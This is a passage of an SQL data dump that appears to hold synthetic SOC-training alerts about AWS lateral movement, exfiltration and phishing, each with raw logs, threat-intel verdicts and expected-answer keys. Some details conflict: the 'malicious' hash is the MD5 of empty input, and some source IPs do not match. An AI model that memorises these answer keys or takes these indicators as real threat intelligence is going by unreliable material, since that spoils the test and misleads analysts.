[Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"AssumedRole\\\",\\\"principalId\\\":\\\"AROAEXAMPLE:attacker-session\\\",\\\"arn\\\":\\\"arn:aws:sts::123456789012:assumed-role/CompromisedRole/attacker-session\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"accessKeyId\\\":\\\"ASIAEXAMPLE\\\"},\\\"eventTime\\\":\\\"2023-09-15T14:56:30Z\\\",\\\"eventSource\\\":\\\"iam.amazonaws.com\\\",\\\"eventName\\\":\\\"CreatePolicy\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"sourceIPAddress\\\":\\\"198.51.100.23\\\",\\\"userAgent\\\":\\\"aws-cli/2.0.30 Python/3.7.3 Linux/5.4.0-1029\\\",\\\"requestParameters\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyDocument\\\":{\\\"Version\\\":\\\"2012-10-17\\\",\\\"Statement\\\":[{\\\"Effect\\\":\\\"Allow\\\",\\\"Action\\\":\\\"s3:ListBucket\\\",\\\"Resource\\\":\\\"arn:aws:s3:::example_bucket\\\"}]}},\\\"responseElements\\\":{\\\"policy\\\":{\\\"policyName\\\":\\\"PersistencePolicy\\\",\\\"policyId\\\":\\\"ANPAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:policy/PersistencePolicy\\\",\\\"path\\\":\\\"/\\\",\\\"defaultVersionId\\\":\\\"v1\\\"}},\\\"requestID\\\":\\\"EXAMPLE-1111-2222-3333-4444\\\",\\\"eventID\\\":\\\"EXAMPLE-5678-9101-1121-3141\\\",\\\"readOnly\\\":false,\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"managementEvent\\\":true,\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(874, 'Lateral Movement to Sensitive Data Stores', 'critical', 'S3 Access Logs', 'The attacker moved laterally within the AWS environment, accessing multiple S3 buckets containing sensitive credit application data. The attacker used compromised credentials to authenticate from a known malicious IP address, targeting the S3 buckets with sensitive data.', 'Lateral Movement', 'T1080', 1, 'resolved', NULL, '{\"eventVersion\":\"1.08\",\"eventSource\":\"s3.amazonaws.com\",\"awsRegion\":\"us-west-2\",\"eventTime\":\"2023-10-05T14:48:00Z\",\"eventName\":\"GetObject\",\"userIdentity\":{\"type\":\"IAMUser\",\"principalId\":\"AIDAEXAMPLE\",\"arn\":\"arn:aws:iam::123456789012:user/compromised_user\",\"accountId\":\"123456789012\",\"userName\":\"compromised_user\"},\"requestParameters\":{\"bucketName\":\"credit-applications\",\"key\":\"sensitive_data/credit_2023.csv\"},\"sourceIPAddress\":\"203.0.113.45\",\"userAgent\":\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\",\"responseElements\":{\"x-amz-request-id\":\"1A2B3C4D5E6F7G8H\",\"x-amz-id-2\":\"EXAMPLEBASE64STRING=\"},\"additionalEventData\":{\"bytesTransferredIn\":0,\"bytesTransferredOut\":2048,\"x-amz-id-2\":\"EXAMPLEBASE64STRING==\",\"x-amz-request-id\":\"1A2B3C4D5E6F7G8H\"},\"requestID\":\"1A2B3C4D5E6F7G8H\",\"eventID\":\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\",\"readOnly\":true,\"resources\":[{\"type\":\"AWS::S3::Object\",\"ARN\":\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\"}],\"eventType\":\"AwsApiCall\",\"recipientAccountId\":\"123456789012\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:52', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AlienVault OTX\",\"verdict\":\"malicious\",\"details\":\"IP associated with known malicious activities.\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Logs\",\"verdict\":\"internal\",\"details\":\"IAM user account compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"filename\",\"value\":\"credit_2023.csv\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Data Classification\",\"verdict\":\"internal\",\"details\":\"File contains sensitive credit application data.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.542Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"eventVersion\\\":\\\"1.08\\\",\\\"eventSource\\\":\\\"s3.amazonaws.com\\\",\\\"awsRegion\\\":\\\"us-west-2\\\",\\\"eventTime\\\":\\\"2023-10-05T14:48:00Z\\\",\\\"eventName\\\":\\\"GetObject\\\",\\\"userIdentity\\\":{\\\"type\\\":\\\"IAMUser\\\",\\\"principalId\\\":\\\"AIDAEXAMPLE\\\",\\\"arn\\\":\\\"arn:aws:iam::123456789012:user/compromised_user\\\",\\\"accountId\\\":\\\"123456789012\\\",\\\"userName\\\":\\\"compromised_user\\\"},\\\"requestParameters\\\":{\\\"bucketName\\\":\\\"credit-applications\\\",\\\"key\\\":\\\"sensitive_data/credit_2023.csv\\\"},\\\"sourceIPAddress\\\":\\\"203.0.113.45\\\",\\\"userAgent\\\":\\\"aws-sdk-java/1.11.648 Linux/5.4.0-1046-aws OpenJDK_64-Bit_Server_VM/11.0.11+9-LTS\\\",\\\"responseElements\\\":{\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING=\\\"},\\\"additionalEventData\\\":{\\\"bytesTransferredIn\\\":0,\\\"bytesTransferredOut\\\":2048,\\\"x-amz-id-2\\\":\\\"EXAMPLEBASE64STRING==\\\",\\\"x-amz-request-id\\\":\\\"1A2B3C4D5E6F7G8H\\\"},\\\"requestID\\\":\\\"1A2B3C4D5E6F7G8H\\\",\\\"eventID\\\":\\\"4c6c6b7c-8c6c-4c6c-b6c6-6c6c6c6c6c6c\\\",\\\"readOnly\\\":true,\\\"resources\\\":[{\\\"type\\\":\\\"AWS::S3::Object\\\",\\\"ARN\\\":\\\"arn:aws:s3:::credit-applications/sensitive_data/credit_2023.csv\\\"}],\\\"eventType\\\":\\\"AwsApiCall\\\",\\\"recipientAccountId\\\":\\\"123456789012\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(875, 'Exfiltration of Sensitive Data', 'critical', 'VPC Flow Logs', 'An attacker exfiltrated sensitive data using encrypted channels, covering tracks to avoid detection by standard monitoring tools.', 'Data Exfiltration', 'T1020 - Automated Exfiltration', 1, 'resolved', NULL, '{\"timestamp\":\"2023-10-05T13:45:30Z\",\"src_ip\":\"10.1.1.15\",\"dst_ip\":\"203.0.113.45\",\"protocol\":\"TCP\",\"src_port\":443,\"dst_port\":443,\"bytes_sent\":10485760,\"bytes_received\":1024,\"action\":\"ACCEPT\",\"session_start\":\"2023-10-05T13:40:00Z\",\"session_end\":\"2023-10-05T13:45:30Z\",\"user\":\"jdoe\",\"file_hash\":\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\",\"file_name\":\"sensitive_data.zip\"}', '2026-01-15 00:53:58', '2026-02-16 17:56:58', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Feed\",\"verdict\":\"malicious\",\"details\":\"Known exfiltration server associated with APT group.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.1.1.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Network\",\"verdict\":\"internal\",\"details\":\"Internal host potentially compromised.\"}},{\"id\":\"artifact_3\",\"type\":\"hash\",\"value\":\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\",\"is_critical\":true,\"osint_result\":{\"source\":\"Malware Database\",\"verdict\":\"malicious\",\"details\":\"Hash associated with data exfiltration tool.\"}},{\"id\":\"artifact_4\",\"type\":\"filename\",\"value\":\"sensitive_data.zip\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Audit\",\"verdict\":\"suspicious\",\"details\":\"File name indicative of sensitive data.\"}},{\"id\":\"artifact_5\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal HR Records\",\"verdict\":\"clean\",\"details\":\"Valid employee account.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"collect_forensics\",\"escalate\"]}', 'expert', 'CLOUD', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.544Z\",\"source\":\"/var/log/syslog\",\"event_code\":\"INFO\",\"message\":\"System event detected [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"src_ip\\\":\\\"10.1.1.15\\\",\\\"dst_ip\\\":\\\"203.0.113.45\\\",\\\"protocol\\\":\\\"TCP\\\",\\\"src_port\\\":443,\\\"dst_port\\\":443,\\\"bytes_sent\\\":10485760,\\\"bytes_received\\\":1024,\\\"action\\\":\\\"ACCEPT\\\",\\\"session_start\\\":\\\"2023-10-05T13:40:00Z\\\",\\\"session_end\\\":\\\"2023-10-05T13:45:30Z\\\",\\\"user\\\":\\\"jdoe\\\",\\\"file_hash\\\":\\\"3e8b7f7e21c9a3e0b5f7f6a5c8f1b9d3\\\",\\\"file_name\\\":\\\"sensitive_data.zip\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/syslog\\\" | head 100\"}}', 0),
(876, 'Suspicious Login Attempt Detected', 'medium', 'SIEM Logs', 'A suspicious login attempt was detected from an external IP address. The attempt involved a targeted spear-phishing campaign aiming to harvest employee credentials. The attacker used a known malicious IP address to attempt access to an internal Twitter employee account.', 'Initial Access', 'T1078 - Valid Accounts', 1, 'new', NULL, '{\"timestamp\":\"2023-10-05T14:23:11Z\",\"event_id\":\"1001\",\"source_ip\":\"203.0.113.45\",\"destination_ip\":\"192.168.1.10\",\"username\":\"jdoe\",\"action\":\"login_attempt\",\"status\":\"failed\",\"user_agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\",\"email_subject\":\"Urgent: Update Your Password\",\"malware_hash\":\"d41d8cd98f00b204e9800998ecf8427e\"}', '2026-01-15 00:55:54', '2026-02-14 16:52:12', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Threat Intelligence Platform\",\"verdict\":\"malicious\",\"details\":\"Known malicious IP used in previous phishing campaigns.\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address of targeted employee workstation.\"}},{\"id\":\"artifact_3\",\"type\":\"username\",\"value\":\"jdoe\",\"is_critical\":false,\"osint_result\":{\"source\":\"Active Directory\",\"verdict\":\"clean\",\"details\":\"Active employee account.\"}},{\"id\":\"artifact_4\",\"type\":\"hash\",\"value\":\"d41d8cd98f00b204e9800998ecf8427e\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"Hash associated with known phishing malware.\"}}],\"recommended_actions\":[\"isolate_host\",\"block_ip\",\"block_hash\",\"reset_credentials\",\"collect_forensics\",\"escalate\"],\"expected_verdict\":\"True Positive\",\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"]}', 'beginner', 'TI', 1, 0, NULL, NULL, NULL, '{\"tool\":\"SIEM\",\"evidence\":{\"events\":[{\"timestamp\":\"2026-02-01T20:32:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:31:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 1]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:30:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 2]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:29:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 3]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"},{\"timestamp\":\"2026-02-01T20:28:22.545Z\",\"source\":\"/var/log/auth.log\",\"event_code\":\"Failed\",\"message\":\"Failed password for invalid user admin from 192.168.1.50 port 49202 ssh2 [Repeated event count: 4]\",\"host\":\"PRODUCTION-SVR-01\",\"raw\":\"{\\\"timestamp\\\":\\\"2023-10-05T14:23:11Z\\\",\\\"event_id\\\":\\\"1001\\\",\\\"source_ip\\\":\\\"203.0.113.45\\\",\\\"destination_ip\\\":\\\"192.168.1.10\\\",\\\"username\\\":\\\"jdoe\\\",\\\"action\\\":\\\"login_attempt\\\",\\\"status\\\":\\\"failed\\\",\\\"user_agent\\\":\\\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36\\\",\\\"email_subject\\\":\\\"Urgent: Update Your Password\\\",\\\"malware_hash\\\":\\\"d41d8cd98f00b204e9800998ecf8427e\\\"}\"}],\"query\":\"index=main source=\\\"/var/log/auth.log\\\" | head 100\"}}', 0);
